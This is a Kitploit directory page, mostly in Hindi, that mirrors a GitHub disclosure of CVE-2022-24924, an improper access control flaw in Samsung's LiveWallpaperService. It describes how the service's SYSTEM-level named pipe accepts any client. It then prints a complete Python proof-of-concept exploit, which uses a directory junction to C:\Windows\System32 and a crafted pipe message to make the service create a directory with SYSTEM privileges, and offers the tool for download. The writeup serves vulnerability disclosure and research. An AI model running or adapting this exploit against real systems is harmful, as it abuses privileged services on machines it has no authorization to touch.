Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-24924 — LiveWallpaperService में संस्करण 3.0.9.0 से पहले एक अनुचित पहुँच नियंत्रण एक विशिष्ट नामित सिस्टम निर्देशिका को उचित अनुमति के बिना बनाने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/heegong/cve-2022-24924
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणबाइनरी शोषण
GitHubheegong/cve-2022-24924

CVE-2022-24924

LiveWallpaperService में संस्करण 3.0.9.0 से पहले एक अनुचित पहुँच नियंत्रण एक विशिष्ट नामित सिस्टम निर्देशिका को उचित अनुमति के बिना बनाने की अनुमति देता है।

रिपॉजिटरी देखें
214 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

लाइव वॉलपेपर सेवा में अनुचित पहुँच नियंत्रण भेद्यता CVE-2022-24924(SVE-2021-24089)

परीक्षण किया गया विंडोज संस्करण: विंडोज 10 20H2 (बिल्ड 19042.1348) 64बिट

लाइव वॉलपेपर संस्करण: 3.0.9.0 या उससे पहले

सैमसंग लैपटॉप में एक LiveWallpaperService डिफ़ॉल्ट रूप से काम करता है, लेकिन एक भेद्यता थी जिसने SYSTEM सेवा में SYSTEM विशेषाधिकारों वाली निर्देशिका में SYSTEM निर्देशिका बनाई।

लाइव वॉलपेपर आमतौर पर सैमसंग लैपटॉप पर डिफ़ॉल्ट रूप से इंस्टॉल होता है, लेकिन यह माइक्रोसॉफ्ट स्टोर से उपलब्ध एक ऐप भी है। ऐप को उपयोगकर्ता अनुमति के साथ चलाया जा सकता है और यह नामित PIPE IPC के माध्यम से सर्वर और क्लाइंट के बीच संचार करता है। इस समय, PIPE सर्वर SYSTEM विशेषाधिकारों के साथ काम कर रहा है और यह जाँच नहीं करता कि क्लाइंट कौन हैं।

निम्नलिखित संचालन प्रक्रिया है जो संबंधित ऐप लॉन्च होने पर की जाती है।

सर्वर को '33;' यूनिकोड स्ट्रिंग प्राप्त होने पर, यह 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' फ़ोल्डर तक पहुँचता है और LiveWallpaperData निर्देशिका की उपस्थिति की जाँच करता है। निर्देशिका में 'LiveWallpaperData' नाम से एक नई फ़ाइल सिस्टम निर्देशिका बनाई जाती है।

प्रक्रियाओं के बीच संचार के लिए नामित PIPE का उपयोग किया जाता है। चूंकि कोई अलग क्लाइंट निरीक्षण नहीं है, हमलावर सीधे इसे खोल सकता है और वांछित डेटा भेज सकता है।

पहले, नामित PIPE को सीधे खोलने के बाद, james forshaw द्वारा निर्मित symboliclink-testing-tools का उपयोग करके C:\Windows\System32 पर एक निर्देशिका जंक्शन बनाएँ। इसे विशेषाधिकारों के साथ System32 निर्देशिका की उपनिर्देशिका के रूप में बनाया गया है।

यहाँ उस भेद्यता का PoC है।

PoC निष्पादित करने के लिए, निम्नलिखित शर्तों को पूरा करना होगा:

  1. मूल रूप से, LiveWallpaperService को विंडोज में चल रहा होना चाहिए।
  2. CreateMountPoint.exe निष्पादन योग्य फ़ाइल और DeleteMountPoint.exe निष्पादन योग्य फ़ाइल जो james forshaw द्वारा निर्मित symboliclink-testing-tools का उपयोग करके बनाई गई हैं, PoC के समान निर्देशिका में मौजूद होनी चाहिए।
root@kitploit:~
# python 3.7.2
import os
import shutil
import time
import getpass

def stringToWstring(st : str) -> str:
    result = ''
    for i in st:
        result += i+'\x00'
    return result

def main():
    # current user name
    username = getpass.getuser()

    # path settings
    path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
    path2 = 'C:\\Windows\\System32'

    # delete directory
    if os.path.isdir(path1):
        shutil.rmtree(path1)

    # create directory junction
    command = f'CreateMountPoint.exe "{path1}" "{path2}"'
    os.system(command)

    # write data to named pipe
    with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
        f.write(stringToWstring('33;'))

    # IPC delay time
    time.sleep(2)

    # directory check
    if os.path.isdir(path2+'\\LiveWallpaperData'):
        print('[+] Success')
    else:
        print('[-] failed')

    # delete directory junction
    command = f'DeleteMountPoint.exe {path1}'
    os.system(command)
    shutil.rmtree(path1)

if __name__=='__main__':
    main()

https://user-images.githubusercontent.com/57859128/166858916-1f0b9f9a-6935-452d-8b38-18828beace0f.mp4

टूल डाउनलोड करें